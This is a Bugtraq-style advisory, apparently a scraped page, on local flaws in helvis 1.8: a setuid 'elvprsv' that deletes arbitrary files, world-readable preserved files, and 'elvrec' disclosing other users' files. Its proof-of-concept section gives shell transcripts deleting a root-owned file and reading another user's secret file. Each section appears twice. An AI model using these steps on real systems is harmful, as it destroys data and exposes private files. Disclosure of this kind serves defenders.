Helvis Multiple Local Vulnerabilities
BID:12247
Info
Helvis Multiple Local Vulnerabilities
| Bugtraq ID: | 12247 |
| Class: | Unknown |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Jan 12 2005 12:00AM |
| Updated: | Jan 12 2005 12:00AM |
| Credit: | The discoverer of these vulnerabilities is not known. |
| Vulnerable: |
Helvis Helvis 1.8 |
| Not Vulnerable: | |
Discussion
Helvis Multiple Local Vulnerabilities
helvis is reported prone to multiple local vulnerabilities. The following individual issues are reported:
The 'elvprsv' utility is reported prone to an arbitrary file deletion vulnerability. It is reported that the 'elvprsv' utility is installed with setuid superuser privileges and therefore can be invoked by any user to delete arbitrary specified files on a vulnerable computer.
'elvprsv' is reported prone to a weak default permissions vulnerability on preserved emails that it generates. It is reported that emails preserved by the 'elvprsv' utility are written with insecure world readable permissions by default.
A local attacker may exploit this issue to disclose sensitive information that is contained in preserved files that are written by the affected utility.
Finally, it is reported that the helvis 'elvrec' utility may be used to disclose the contents of files that are preserved by 'elvprsv'.
A local attacker may exploit this issue to disclose sensitive information that is contained in preserved files that are written by the affected utility.
helvis is reported prone to multiple local vulnerabilities. The following individual issues are reported:
The 'elvprsv' utility is reported prone to an arbitrary file deletion vulnerability. It is reported that the 'elvprsv' utility is installed with setuid superuser privileges and therefore can be invoked by any user to delete arbitrary specified files on a vulnerable computer.
'elvprsv' is reported prone to a weak default permissions vulnerability on preserved emails that it generates. It is reported that emails preserved by the 'elvprsv' utility are written with insecure world readable permissions by default.
A local attacker may exploit this issue to disclose sensitive information that is contained in preserved files that are written by the affected utility.
Finally, it is reported that the helvis 'elvrec' utility may be used to disclose the contents of files that are preserved by 'elvprsv'.
A local attacker may exploit this issue to disclose sensitive information that is contained in preserved files that are written by the affected utility.
Exploit / POC
Helvis Multiple Local Vulnerabilities
The following examples are available:
su-3.00# dd if=/dev/zero of=/tmp/a count=1 bs=2048
su-3.00# perl -e 'print "A" x 12345' >> /tmp/a
su-3.00# ls -al /tmp/a
-rw-r--r-- 1 root wheel 14393 Nov 11 19:16 /tmp/a
su-3.00# su nielsh
su-3.00$ /usr/local/bin/elvprsv /tmp/a
su-3.00$ ls -al /tmp/a
ls: /tmp/a: No such file or directory
Insecure permissions are used on preserved emails:
su-3.00$ ls -al /var/preserve/
drwxr-xr-x 2 root wheel 512 Nov 11 19:14 .
drwxr-xr-x 24 root wheel 512 Nov 11 18:09 ..
-rw-r--r-- 1 root wheel 664 Nov 5 15:09 Index
-rw-r--r-- 1 root wheel 15 Nov 5 14:46 p0
su-3.00$
'elvrec' file recovery:
$ id
uid=1002(testuser) gid=1003(testuser) groups=1003(testuser)
$ pwd
/home/testuser
bash-3.00$ helvis topsecret.txt
1) now kill the process
2) elvprs should be executed, its recommended bythe author
that this is done automaticly at boot time
bash-3.00$ id
uid=899(nielsh) gid=1001(nielsh) groups=1001(nielsh), 0(wheel)
bash-3.00$ elvrec
/usr/ports/korean/helvis/work/helvis-1.8h2-/rrrr.txt
/usr/ports/korean/helvis/work/helvis-1.8h2-/tast.txt
/usr/home/testuser/topsecret.txt
bash-3.00$ touch /tmp/showme.txt
bash-3.00$ elvrec /usr/home/testuser/topsecret.txt /tmp/showme.txt
bash-3.00$ cat /tmp/showme.txt
This is topsecret information !!!!!
bash-3.00$
The following examples are available:
su-3.00# dd if=/dev/zero of=/tmp/a count=1 bs=2048
su-3.00# perl -e 'print "A" x 12345' >> /tmp/a
su-3.00# ls -al /tmp/a
-rw-r--r-- 1 root wheel 14393 Nov 11 19:16 /tmp/a
su-3.00# su nielsh
su-3.00$ /usr/local/bin/elvprsv /tmp/a
su-3.00$ ls -al /tmp/a
ls: /tmp/a: No such file or directory
Insecure permissions are used on preserved emails:
su-3.00$ ls -al /var/preserve/
drwxr-xr-x 2 root wheel 512 Nov 11 19:14 .
drwxr-xr-x 24 root wheel 512 Nov 11 18:09 ..
-rw-r--r-- 1 root wheel 664 Nov 5 15:09 Index
-rw-r--r-- 1 root wheel 15 Nov 5 14:46 p0
su-3.00$
'elvrec' file recovery:
$ id
uid=1002(testuser) gid=1003(testuser) groups=1003(testuser)
$ pwd
/home/testuser
bash-3.00$ helvis topsecret.txt
1) now kill the process
2) elvprs should be executed, its recommended bythe author
that this is done automaticly at boot time
bash-3.00$ id
uid=899(nielsh) gid=1001(nielsh) groups=1001(nielsh), 0(wheel)
bash-3.00$ elvrec
/usr/ports/korean/helvis/work/helvis-1.8h2-/rrrr.txt
/usr/ports/korean/helvis/work/helvis-1.8h2-/tast.txt
/usr/home/testuser/topsecret.txt
bash-3.00$ touch /tmp/showme.txt
bash-3.00$ elvrec /usr/home/testuser/topsecret.txt /tmp/showme.txt
bash-3.00$ cat /tmp/showme.txt
This is topsecret information !!!!!
bash-3.00$
Solution / Fix
Helvis Multiple Local Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Helvis Multiple Local Vulnerabilities
References:
References: